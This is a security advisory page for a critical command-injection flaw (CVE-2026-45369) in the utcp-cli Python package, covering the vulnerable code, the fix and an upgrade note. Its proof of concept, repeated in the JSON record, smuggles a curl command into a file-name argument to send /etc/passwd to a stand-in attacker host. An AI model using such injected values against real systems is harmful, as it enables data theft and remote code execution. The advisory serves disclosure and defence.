GHSA-33P6-5JXP-P3X4

Vulnerability from github – Published: 2026-05-14 20:56 – Updated: 2026-05-15 23:46
VLAI
Summary
utcp-cli Vulnerable to Command Injection via Unsanitized Argument Substitution in CLI Communication Protocol
Details

Summary

The _substitute_utcp_args method in cli_communication_protocol.py inserts user-controlled tool_args values directly into shell command strings without any sanitization or escaping. These commands are then executed via /bin/bash -c (Unix) or powershell.exe -Command (Windows), allowing an attacker to inject arbitrary shell commands.

Affected File

plugins/communication_protocols/cli/src/utcp_cli/cli_communication_protocol.py

Vulnerable Code

def replace_placeholder(match):
    arg_name = match.group(1)
    if arg_name in tool_args:
        return str(tool_args[arg_name])  # No escaping applied

The substituted command is then embedded directly into a shell script:

script_lines.append(f'{var_name}=$({substituted_command} 2>&1)')

And executed via:

shell_cmd = ['/bin/bash', '-c', script]

Proof of Concept

Given a tool defined as:

{"command": "python script.py --input UTCP_ARG_filename_UTCP_END"}

Calling with:

tool_args = {"filename": "data.csv; curl http://attacker.com/$(cat /etc/passwd | base64)"}

Produces and executes:

CMD_0_OUTPUT=$(python script.py --input data.csv; curl http://attacker.com/$(cat /etc/passwd | base64) 2>&1)

This results in full Remote Code Execution on the host system.

Patched

Fixed in utcp-cli 1.1.2. _substitute_utcp_args now shell-quotes every substituted value: shlex.quote on Unix, a PowerShell single-quoted literal on Windows. Each UTCP_ARG_..._UTCP_END placeholder therefore expands to exactly one shell token, blocking metacharacter injection (;, |, &, backticks, $(), newlines).

Behavior change: tools that relied on a single placeholder splitting into multiple shell tokens (e.g. UTCP_ARG_flags_UTCP_END -> --verbose --debug) must now use one placeholder per intended argument.

Mitigation

Upgrade to utcp-cli >= 1.1.2. There is no workaround in earlier versions short of refusing all attacker-controlled tool_args.

Credit

Reported by @ZeroXJacks.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.1.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "utcp-cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45369"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T20:56:01Z",
    "nvd_published_at": "2026-05-14T21:16:48Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nThe `_substitute_utcp_args` method in `cli_communication_protocol.py` inserts user-controlled `tool_args` values directly into shell command strings without any sanitization or escaping. These commands are then executed via `/bin/bash -c` (Unix) or `powershell.exe -Command` (Windows), allowing an attacker to inject arbitrary shell commands.\n\n## Affected File\n\n`plugins/communication_protocols/cli/src/utcp_cli/cli_communication_protocol.py`\n\n## Vulnerable Code\n\n```python\ndef replace_placeholder(match):\n    arg_name = match.group(1)\n    if arg_name in tool_args:\n        return str(tool_args[arg_name])  # No escaping applied\n```\n\nThe substituted command is then embedded directly into a shell script:\n\n```python\nscript_lines.append(f\u0027{var_name}=$({substituted_command} 2\u003e\u00261)\u0027)\n```\n\nAnd executed via:\n\n```python\nshell_cmd = [\u0027/bin/bash\u0027, \u0027-c\u0027, script]\n```\n\n## Proof of Concept\n\nGiven a tool defined as:\n```json\n{\"command\": \"python script.py --input UTCP_ARG_filename_UTCP_END\"}\n```\n\nCalling with:\n```python\ntool_args = {\"filename\": \"data.csv; curl http://attacker.com/$(cat /etc/passwd | base64)\"}\n```\n\nProduces and executes:\n```bash\nCMD_0_OUTPUT=$(python script.py --input data.csv; curl http://attacker.com/$(cat /etc/passwd | base64) 2\u003e\u00261)\n```\n\nThis results in full Remote Code Execution on the host system.\n\n## Patched\n\nFixed in `utcp-cli` 1.1.2. `_substitute_utcp_args` now shell-quotes every substituted value: `shlex.quote` on Unix, a PowerShell single-quoted literal on Windows. Each `UTCP_ARG_..._UTCP_END` placeholder therefore expands to exactly one shell token, blocking metacharacter injection (`;`, `|`, `\u0026`, backticks, `$()`, newlines).\n\n**Behavior change:** tools that relied on a single placeholder splitting into multiple shell tokens (e.g. `UTCP_ARG_flags_UTCP_END` -\u003e `--verbose --debug`) must now use one placeholder per intended argument.\n\n## Mitigation\n\nUpgrade to `utcp-cli \u003e= 1.1.2`. There is no workaround in earlier versions short of refusing all attacker-controlled `tool_args`.\n\n## Credit\n\nReported by @ZeroXJacks.",
  "id": "GHSA-33p6-5jxp-p3x4",
  "modified": "2026-05-15T23:46:56Z",
  "published": "2026-05-14T20:56:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/universal-tool-calling-protocol/python-utcp/security/advisories/GHSA-33p6-5jxp-p3x4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45369"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/universal-tool-calling-protocol/python-utcp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "utcp-cli Vulnerable to Command Injection via Unsanitized Argument Substitution in CLI Communication Protocol"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…